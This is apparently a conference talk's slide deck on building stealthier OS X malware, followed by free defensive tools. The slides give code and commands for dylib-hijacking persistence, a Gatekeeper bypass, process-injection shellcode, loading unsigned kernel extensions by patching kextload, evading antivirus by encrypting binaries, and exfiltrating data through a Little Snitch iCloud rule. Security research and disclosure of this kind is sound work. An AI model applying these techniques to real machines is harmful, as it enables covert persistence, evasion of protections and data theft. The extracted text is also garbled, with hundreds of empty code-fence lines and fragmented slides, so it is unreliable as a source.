Writing Bad @$@ Malware for OS X
“sources a global contingent of vetted security experts worldwide and pays them on an incentivized basis to discover security vulnerabilities in our customers’ web apps, mobile apps, and infrastructure endpoints.”

always looking for more experts!

@patrickwardle
AN OUTLINE

this talk will cover...

overview of os x malware

bad @$$ malware

defenses

infection  persistence  self-defense  features  bypassing psp

OVERVIEW OF OS X MALWARE

the current status quo
THE RISE OF MACS
macs are everywhere (home & enterprise)

#3 USA / #5 worldwide vendor in PC shipments

"Mac notebook sales have grown 21% over the last year, while total industry sales have fallen" - Apple (3/2015)
MALWARE ON OS X?
but macs don’t get malware...right?


‘first’ virus (elk cloner) infected apple II’s

last 5 years; ~50 new os x malware families

"[2014] nearly 1000 unique attacks on Macs; 25 major families" -kaspersky
OSX/XSLCmd
provides reverse shell, keylogging, & screen capture

"a previously unknown variant of the APT backdoor XSLCmd which is designed to compromise Apple OS X systems" -fireeye.com
OSX/iWORM

‘sstandard’ backdoor, providing survey, download/execute, etc.

<table>
<thead>
<tr>
<th>Type</th>
<th>Name (Order by: Uploaded, Size, ULed by, SE, LE)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Applications</td>
<td>Adobe Photoshop CS6 for Mac OSX</td>
</tr>
<tr>
<td></td>
<td>Uploaded 07-26 23:11, Size 988.02 MiB, ULed by aceprog</td>
</tr>
<tr>
<td>Applications</td>
<td>Parallels Desktop 9 Mac OSX</td>
</tr>
<tr>
<td></td>
<td>Uploaded 07-31 00:19, Size 418.43 MiB, ULed by aceprog</td>
</tr>
<tr>
<td>Applications</td>
<td>Microsoft Office 2011 Mac OSX</td>
</tr>
<tr>
<td></td>
<td>Uploaded 07-20 19:04, Size 910.84 MiB, ULed by aceprog</td>
</tr>
<tr>
<td>Applications</td>
<td>Adobe Photoshop CS6 Mac OSX</td>
</tr>
<tr>
<td></td>
<td>Uploaded 07-26 23:18, Size 988.02 MiB, ULed by aceprog</td>
</tr>
</tbody>
</table>

infected torrents

launch daemon plist

launch daemon

survey

download

execute

# fs_usage -w -f filesystem
20:28:28.727890 write B=0x16b

persisting
OSX/WIRELURKER
an iOS infector (via USB)

“a collection of scripts, plists, & binaries all duct-taped together... making it easy to detect.” -j zdziarski

infected app(s) 'Maiyadi App Store'

infects connected iPhones

launch daemons

survey

texts

contacts

SMS
hackingteam's implant; collect all things!

OSX/CRISEO (RCSMac)

There is nothing to be impressed from them from a technical point of view.” -@osxreverser

launch agent rootkit component intelligence collection
THE (KNOWN) STATUS QUO
the current state of OS X malware

- trojans
- phishing/old bugs
- occasionally exploits
- well known techniques
- majority: launch items
- minimal obfuscation
- trivial to detect & remove

- 'hide' in plain site
- stand-alone executables
- inelegantly implemented
- suffice for the job
- no psp detection/logic
- trivial to detect

grade: C+
“current OS X malware, while sufficient, is inelegant, amateur, and trivial to detect & prevent”
BAD @$$. OS X MALWARE

current malware++
**INITIAL INFECTION VECTOR(S)**
current methods are rather lame

- Protects dumb users
- Gatekeeper blocking untrusted code
- Somewhat effective, but smart users should be ok.

- Fake installers/updates
- Fake codecs
- Infected torrents/apps
INFECTING SOFTWARE DOWNLOADS
a far better infection channel

MitM & infect non-SSL'd internet downloads

still need to bypass GateKeeper... ;)

my dock
INFECTING AV Software Downloads

these should be secure, right!?

all the security software I could find, was downloaded over HTTP!

Downloads

- **avast_free_mac_security.dmg**
  - [HTTP](http://download.ff.avast.com/mac/avast_free_mac_security.dmg)

- **bitdefender_antivirus_for_mac.dmg**
  - [HTTP](http://download.bitdefender.com/mac/antivirus/en/bitdefender_antivirus_for_mac...)

- **F-Secure-Anti-Virus-for-Mac_JDCQ-VPGB-RYPY-QQYW-6MY2_.mpkg**
  - [HTTP](http://download.sp.f-secure.com/SE/Retail/Installer/F-Secure-Anti-Virus-for-Mac...)

- **LittleSnitch-3.5.1.dmg**
  - [HTTP](http://www.obdev.at/ftp/pub/Products/littlesnitch/LittleSnitch-3.5.1.dmg)

- **savosx_he_r.zip**
  - [HTTP](http://downloads.sophos.com/inst_home-edition/b6H60q26VY6ZwjsZL9aqgZD0...)

- **eset_cybersecurity_en_.dmg**
  - [HTTP](http://download.eset.com/download/mac/ecs/eset_cybersecurity_en_.dmg)

- **Internet_Security_X8.dmg**
  - [HTTP](http://www.integodownload.com/mac/X/2014/Internet_Security_X8.dmg)

- **TrendMicro_MAC_5.0.1149_US-en_Trial.dmg**

- **NortonSecurity.EnglishTrial.zip**

- **ksm15_0_0_226a_mlq_en_022.dmg**
  - [HTTP](http://downloads-am.kasperskyamericas.com/files/main/en/ksm15_0_0_226a_mlq_en_022.dmg)
current methods are very lame

launch items

login items

well known
easily visible

wirelurker's 4(!) launch daemons

MacProtector's login item

$ python knockknock.py

com.apple.MailServiceAgentHelper
path: /usr/bin/com.apple.MailServiceAgentHelper

com.apple.appstore.PluginHelper
path: /usr/bin/com.apple.appstore.PluginHelper

periodicdate
path: /usr/bin/periodicdate

systemkeychain-helper
path: /usr/bin/systemkeychain-helper

PERSISTENCE
**Binary Infection?**

fairly stealthy & difficult to disinfect

---

**Process:** Safari [1599]

**Path:** Safari.app/Contents/MacOS/Safari

**Exception Type:** EXC_CRASH (Code Signature Invalid)

**Exception Codes:** 0x0000000000000000, 0x0000000000000000

---

OS loader verifies all signatures :(

killed by the loader
**Binary Infection?**

The crypto seems solid, but what if it was gone?

```
# md5 Safari.app/Contents/MacOS/Safari -> 633d043cf9742d6f0787acdee742c10d

# unsign.py Safari.app/Contents/MacOS/Safari
Safari code signature removed

# md5 Safari.app/Contents/MacOS/Safari -> 825edd6a1e3ae3a989c98a60bac409

$ open /Applications/Safari.app && ps aux | grep Safari
patrick 31337 /Applications/Safari.app
```
PERSISTENCE VIA BINARY INFECTION
(now), lots of options!

- self-contained
- somewhat difficult to detect

add new LC_LOAD_DYLIB?
hijack entry point?
difficult to disinfect!

google 'OS.X/Boubou'
**DYLIB HIJACKING**

an overview

"I need `<blah>.dylib`

1. **LC_LOAD_WEAK_DYLIB** that references a non-existent dylib

2. **LC_LOAD__DYLIB** with @rpath'd import & multiple LC_RPATHs with the run-path dependent library not found in a primary run-path search path

[Diagram: EXE linked to app dir, then `<blah>.dylib` with a virus icon, and then another `<blah>.dylib` without a virus icon.]

[www.virusbtn.com/dylib]
**DYLIB HIJACKING PERSISTENCE**

via Apple's PhotoStreamAgent ('iCloudPhotos.app')

1. Configure hijacker against **PhotoFoundation** (dylib)
2. Copy to `/Applications/iPhoto.app/Contents/Library/LoginItems/PhotoFoundation.framework/Versions/A/PhotoFoundation`

```
$ reboot
$ lsof -p <pid of PhotoStreamAgent>
```

- novel
- no new processes
- no binary/OS modifications

 abuses legitimate functionality of OS X

**OS X El Capitan still 'hijackable'**
abusing system plugins for persistence

plug-in persistence

$ reboot
$ lsof -p <pid of mdworker>
/System/Library/Frameworks/CoreServices.framework/../Metadata.framework/Versions/A/Support/mdworker
/Library/Spotlight/persist.mdimporter/Contents/MacOS/persist

no new procs

'on-demand'

data 'sniffer'

abuses legitimate functionality of OS X
**SELF-DEFENSE**
currently, essentially non-existent

- self-defense methods
  - some crypto
  - 'hide' in plain sight

- too easy for the AV companies!
  - trivial to find
  - trivial to analyze
  - trivial to disinfect
**Encrypted Mach-O Binaries**

abusing OS X's natively supported encryption

```c
//load & decrypt segments
load_segment(...){

//decrypt encrypted segments
if(scp->flags & SG_PROTECTED_VERSION_1)
  unprotect_dsmos_segment(scp->fileoff, scp->filesize, vp,
    pager_offset, map, map_addr, map_size);
}

//decrypt chunk
unprotect_dsmos_segment(...){

//function pointer to decryption routine
crypt_info.page_decrypt = dsmos_page_transform;

//decrypt
vm_map_apple_protected(map, map_addr, map_addr + map_size,
  &crypt_info);
}
```

Extra notes:
- algo: Blowfish (pre 10.6, AES)
- our hard work by these words guaranteed, please don't steal (c) Apple
- ~50% detection drop

Command examples:

```
$ ./protect myMalware
```

```
$ strings -a myMalware
```

```
applicationDidFinishLaunching:
NSString"16@0:8
I <3 BLACKHATE!
```

```
$ strings -a myMalware
```

```
encrypting 'myMalware'
type: CPU_TYPE_X86_64
```

```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
**Strongly Encrypt Your Malware**

tie to a specific target

"environmental key generation towards clueless agents"

N: environmental observation
H: a one way (hash) function
M: hash(es) H of observation N, needed for activation, carried by agent
K: a key

```c
//at runtime
if H(H(N)) = M then let K := H(N)
```

"[the malware] tied the infection to the specific machine, and meant the payload couldn't be decrypted without knowing the NTFS object ID"
IN-MEMORY DECRYPTION & LOADING

custom crypto, requires custom loader

custom in-memory loader?

OS X supports in-memory loading!
**IN-MEMORY MACH-O LOADING**

**dyld** supports in-memory loading/linking

```c
//vars
NSObjectFileImage fileImage = NULL;
NSModule module = NULL;
NSSymbol symbol = NULL;

void (*function)(const char *message);

//have an in-memory (file) image of a mach-O file to load/link
// ->note: memory must be page-aligned and alloc'd via vm_alloc!

//create object file image
NSCreateObjectFileImageFromMemory(codeAddr, codeSize, &fileImage);

//link module
module = NSLinkModule(fileImage, "<anything>", NSLINKMODULE_OPTION_PRIVATE);

//lookup exported symbol (function)
symbol = NSLookupSymbolInModule(module, "_" "HelloBlackHat");

//get exported function's address
function = NSAddressOfSymbol(symbol);

//invoke exported function
function("thanks for being so offensive ;)");
```

loading a mach-O file from memory
SELF DEFENSE

other random ideas

prevent deletion?

"The \texttt{schg} flag can only be unset in single-user mode"

self-monitoring?

'deleting' deletion

\# \texttt{chflags} \texttt{schg} malware.dylib

\# \texttt{rm} malware.dylib
\texttt{rm: malware.dylib: Operation not permitted}

detect local access (dtrace)

detect detections

virusTotal

google adwords?
Run-Time Process Injection

getting code into remote processes

the goal

at run-time, inject arbitrary dynamic libraries (dylibs) into arbitrary process

mac hacker's handbook

mach_inject (PPC & i386)

no x86_64 :(

buggy/broken :(
(intentionally)

run-time injection

newosxbook.com
RUN-TIME PROCESS INJECTION
determining target process' architecture

//check if remote process is x86_64
BOOL Is64Bit(pid_t targetPID)
{
    //info struct
    struct proc_bsdshortinfo procInfo;

    //get proc info
    //->assumes valid pid, etc
    proc_pidinfo(targetPID, PROC_PIDT_SHORTBSDINFO,
                 0, &procInfo, PROC_PIDT_SHORTBSDINFO_SIZE);

    //'pbsi_flags' has a 64-bit mask
    return procInfo.pbsi_flags & PROC_FLAG_LP64;
}

external process, architecture detection

3rd-party
32-bit

32

google drive
dropbox
vpn apps

all 64-bit
Run-time Process Injection

target's process architecture

```c
char shellCode[] = 
  \x90  // nop
  \x55  // push %rbp
  \x48\x89\xe5  // movq %rsp, %rbp
  \x48\x83\xec\x20  // subq $32, %rsp
  \x89\x7d\xfc  // movl %edi, -4(%rbp)
  \x48\x89\x75\xf0  // movq %rsi, -16(%rbp)
  \xb0\x00  // movb $0, %al

// call pthread_set_self
  \x48\xbf\x00\xe4\x0b\x54\x02\x00\x00\x00  // movabsq $0, %rdi
  \x48\xb8  "_PTHRDSS"  // movabsq $140735540045793, %rax
  \xff\xd0  // callq *%rax

// dlopen
  \x48\xbf\x00\xe4\x0b\x54\x02\x00\x00\x00  // movabsq $140735516395848, %rax
  \x48\xb8  "DLOPEN__"  // movabsq $140735516630165, %rax
  \xff\xd0  // callq *%rax

// sleep(100000000)
  \x48\xbf\x00\xe4\x0b\x54\x02\x00\x00\x00  // movabsq $10000000000, %rdi
  \x48\xb8  "SLEEP___"  // movabsq $140735516630165, %rax
  \xff\xd0  // callq *%rax

// plenty of space for a full path name here
"LIBLIBLIBLIB\x00\x00\x00\x00\x00\x00...
```

addrs patched in at runtime
Run-Time Process Injection
getting code into remote processes

1. task_for_pid()
2. mach_vm_allocate()
3. mach_vm_write()
4. vm_protect()
5. thread_create_running()

or anything!

1. pthread_set_self()
2. dlopen()

injected shellcode
LOAD-TIME PROCESS INJECTION
dylib injection (again) ftw!

- gain automatic & persistent code execution within a process only via a dynamic library hijack
- no binary / OS file modifications
- no complex runtime injection
- no detection of injection
- no process monitoring
LOAD-TIME PROCESS INJECTION into Apple's Xcode

$ python dylibHijackScanner.py

Xcode is vulnerable (multiple rpaths)

'binary': '/Applications/Xcode.app/Contents/MacOS/Xcode'
'importedDylib':'/DVTFoundation.framework/Versions/A/DVTFoundation'
'LC_RPATH': '/Applications/Xcode.app/Contents/Frameworks'

1. configure hijacker against **DVTFoundation** (dylib)
2. copy to `/Applications/Xcode.app/Contents/Frameworks/DVTFoundation.framework/Versions/A`

do you trust your compiler now!?
( k thompson)
Bypassing Security Products/Technologies

...starting with Apple's

gatekeeper

x protect

os x sandbox

code-signing

so we’re all safe now, right?!?

nope!

‘wins’
BYPASSING GATEKEEPER
allowing unsigned code to execute

circumvent gatekeeper's draconic blockage via a dynamic library hijack

bypass this?

gatekeeper in action
**How Gatekeeper Works**

All files with quarantine attribute are checked.

```
$ xattr -l ~/Downloads/malware.dmg
com.apple.quarantine:0001;534e3038;Safari;B8E3DA59-32F6-4580-8AB3...
```

"Gatekeeper is an anti-malware feature of the OS X operating system. It allows users to restrict which sources they can install applications from, in order to reduce the likelihood of executing a Trojan horse" - apple.com
GATEKEEPER BYPASS

go home gatekeeper, you are drunk!

1. find an \( \text{apple}\)-signed or 'mac app store' app that contains an external relative reference to a hijackable dylib

2. create a .dmg with the necessary folder structure to contain the malicious dylib in the externally referenced location

3. #winning
GATEKEEPER BYPASS

1) a signed app that contains an external reference to hijackable dylib

spctl tells you if gatekeeper will accept the app

```
$ spctl -vat execute /Applications/Xcode.app/Contents/Applications/Instruments.app
Instruments.app: accepted
source=Apple System
```

```
$ otool -l Instruments.app/Contents/MacOS/Instruments

Load command 16
  cmd  LC_LOAD_WEAK_DYLIB
  name @rpath/CoreSimulator.framework/Versions/A/CoreSimulator

Load command 30
  cmd  LC_RPATH
  path @executable_path/../../../../SharedFrameworks
```

Instruments.app - fits the bill
GATEKEEPER BYPASS

2) create a .dmg with the necessary layout

required directory structure

'clean up' the .dmg
- hide files/folder
- set top-level alias to app
- change icon & background
- make read-only

(deployable) malicious .dmg
GATEKEEPER BYPASS

3) #winning

Allow apps downloaded from:

- Mac App Store
- Mac App Store and identified developers
- Anywhere

gatekeeper setting's (maximum)

unsigned (non-Mac App Store) code execution!!

standard alert

CVE 2015–3715 patched in OS X 10.10.4

still can bypass ;)

gatekeeper bypass :)
BYPASSING XPROTECT

avoiding detection

circumvent XProtect's malware detection so that malware can run in an uninhibited manner

bypass this?

XProtect in action (flagging iWorm)

the goal
BYPASSING XPROTECT
apple's built-in AV product is weak sauce

XProtect signature file (iWorm)

Bypasses
recompile
write new

...or just rename!
**ESCAPING THE OS X SANDBOX**
decently secure, but lots of OS X bugs!

escape from the OS X sandbox to so that our malicious code can perform malicious actions.

- [bypasses]
  - 20+ bugs that could bypass the sandbox (‘project zero’)
  - "Unauthorized Cross-App Resource Access on Mac OS X & iOS"
BYPASSING KERNEL-MODE CODE SIGNING
allowing unsigned kext to load

The goal

load malicious unsigned kexts into the kernel

bypass this?

Kernel extension could not be loaded
The kernel extension at "/Library/Extensions/unsigned.kext" can't be loaded because it is from an unidentified developer. Extensions loaded from /Library/Extensions must be signed by identified developers.

OS X kernel-mode signing checks
**BYPASSING KERNEL-MODE CODE SIGNING**

directly interface with the kernel

---

**download**  
**kext_tools**

**patch & recompile**  
**kextload**

---

```c
loadKextsIntoKernel(KextloadArgs * toolArgs)
{
    //sigResult = checkKextSignature(theKext, 0x1, earlyBoot);
    //always OK!
    sigResult = 0;
}
```

---

```
//unload kext daemon
# launchctl unload /System/Library/LaunchDaemons/com.apple.kextd.plist

//load (unsigned) driver with custom kext_load
# ./patchedKextload -v unsigned.kext
    Can't contact kextd; attempting to load directly into kernel

//profit :
# kextstat | grep -i unsigned
    138 0 0xffffffff7f82e000 com.synack.unsigned
```

---

unsigned kext loading
**NEED ROOT?**

`rootpipe reborn!`

1. copy **Directory Utility** to `/tmp` to get write permissions

   ```bash
   $ ls -lart /private/tmp
   drwxr-xr-x  patrick wheel  Directory Utility.app
   ```

2. copy plugin (.daplugin) into **Directory Utility**'s internal plugin directory

3. execute **Directory Utility**

   attacker's payload  
   WriteConfig XPC service  
   Dir. Utility  
   XPC request  
   evil plugin  
   authenticates  

---

**CVE-2015-3673 finally patched; OS X 10.10.4**
BYPASSING SECURITY PRODUCTS

...and the rest (equally lame)
BYPASSING LITTLESNITCH
abusing trust to access the network

generically bypass LittleSnitch to allow malicious code to access the network in an uninhibited manner?
LITTLE SNITCH BYPASS 0x1
load-time 'injection' into a trusted process

$ python dylibHijackScanner.py

GPG Keychain is vulnerable (weak/rpath'd dylib)
'binary': '/Applications/GPG Keychain.app/Contents/MacOS/GPG Keychain'
'weak dylib': '/Libmacgpg.framework/Versions/B/Libmacgpg'
'LC_RPATH': '/Applications/GPG Keychain.app/Contents/Frameworks'

got 99 problems but LittleSnitch ain't one ;)

GPG Keychain

Little Snitch rule for GPG Keychain

GPG Keychain: hijacked dylib loaded in /Applications/GPG Keychain.app/Contents/MacOS/GPG Keychain (85436)
GPG Keychain: attempting to get data from http://www.google.com
GPG Keychain: got response: <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has many special features to hel
**LITTLE SNITCH BYPASS 0x2**
more generically, via iCloud

<table>
<thead>
<tr>
<th>Process</th>
<th>On</th>
<th>Rule</th>
</tr>
</thead>
<tbody>
<tr>
<td>Any Process</td>
<td></td>
<td>Allow incoming connections from local network</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Allow incoming ICMP connections</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Allow incoming UDP connections</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Allow incoming connections from local network</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Allow incoming ICMP connections</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Allow outgoing TCP connections to port 443 (https) in domain icloud.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Allow outgoing connections to local network</td>
</tr>
</tbody>
</table>

LittleSnitch's iCloud rule

un-deletable system rule: "anybody can talk to iCloud"

o rly!?...yes!

iCloud
SIMPLE END-TO-END ATTACK
putting some pieces all together

doesn’t require r00t!

1. **persist**
   persistently install a malicious dylib as a hijacker

2. **exfil file**
   upload a file ('topSecret') to a remote iCloud account

3. **download & execute cmd**
   download and run a command ('Calculator.app')
PSP TESTING
the AV industry vs me ;)

OS X 'security' products
DEFENSE
free os x security tools
MY CONUNDRUM

...I love my mac, but it's so easy to hack :/

"No one is going to provide you a quality service for nothing. If you’re not paying, you’re the product." -unnamed AV company

I should write some OS X security tools to protect my Mac ....and share 'em freely :)

ha, BULLSHIT!
**OBJECTIVE-SEE**

free OS X tools & malware samples

"providing visibility to the core"

- KnockKnock
- BlockBlock
- TaskExplorer

malware samples :)

products * malware blog about
KnockKnock UI
detecting persistence: now an app for that!
Knock Knock UI

VirusTotal integration

Browser Extensions
plugins/extensions hosted in the browser

Kernel Extensions
modules that are loaded into the kernel

Launch Items
launchers and agents loaded by launchd

VirusTotal Information
file name: JavaW
detection: 26/57
more info: VirusTotal report

VirusTotal integrations

detect  submit  rescan  results

iWorm detection

Synack
**BlockBlock**
continual runtime protection

**RCSMac**
installed a launch daemon or agent

- **process id:** 62245
- **process path:** /Users/[redacted]/Desktop/RCSMac.app/Contents/MacOS/RCSMac

**com.apple.loginStoreagent**
- **startup file:** /Users/[redacted]/Library/LaunchAgents/com.apple.loginStoreagent.plist
- **startup binary:** /Users/[redacted]/Desktop/RCSMac.app/RCSMac

- Block
- Allow

**Hacking Team’s OS X implant**

BlockBlock, block blocking :)
TASKEXPLORE
explore all running tasks (processes)

TaskExplorer

filters

- signing
- virus total
- dylibs
- files
- network
System Integrity Protection
"A new security policy that applies to every running process, including privileged code and code that runs out of the sandbox. The policy extends additional protections to components on disk and at run-time, only allowing system binaries to be modified by the system installer and software updates. Code injection and runtime attachments to system binaries are no longer permitted." -apple.com
CONCLUSIONS

...wrapping this up

current OS X malware & PSP product are lame!

1. improve the malwarez
   - infection
   - persistence
   - self-defense
   - features
   - bypassing psps

2. think differently
"What if every country has ninjas, but we only know about the Japanese ones because they’re rubbish?"  -DJ-2000, reddit.com
credits

- thezooom.com
- deviantart.com (FreshFarhan)
- iconmonstr.com
- flaticon.com

images

- @osxreverser
  - https://www.syscan.org/index.php/download/get/9ee8ed70ddcb2d53169b2420f2fa286e/SyScan15%20Pedro%20Vilaca%20-%20BadXNU%20a%20rotten%20apple

PDF

- www.newosxbook.com
- mac hacker's handbook

talks/books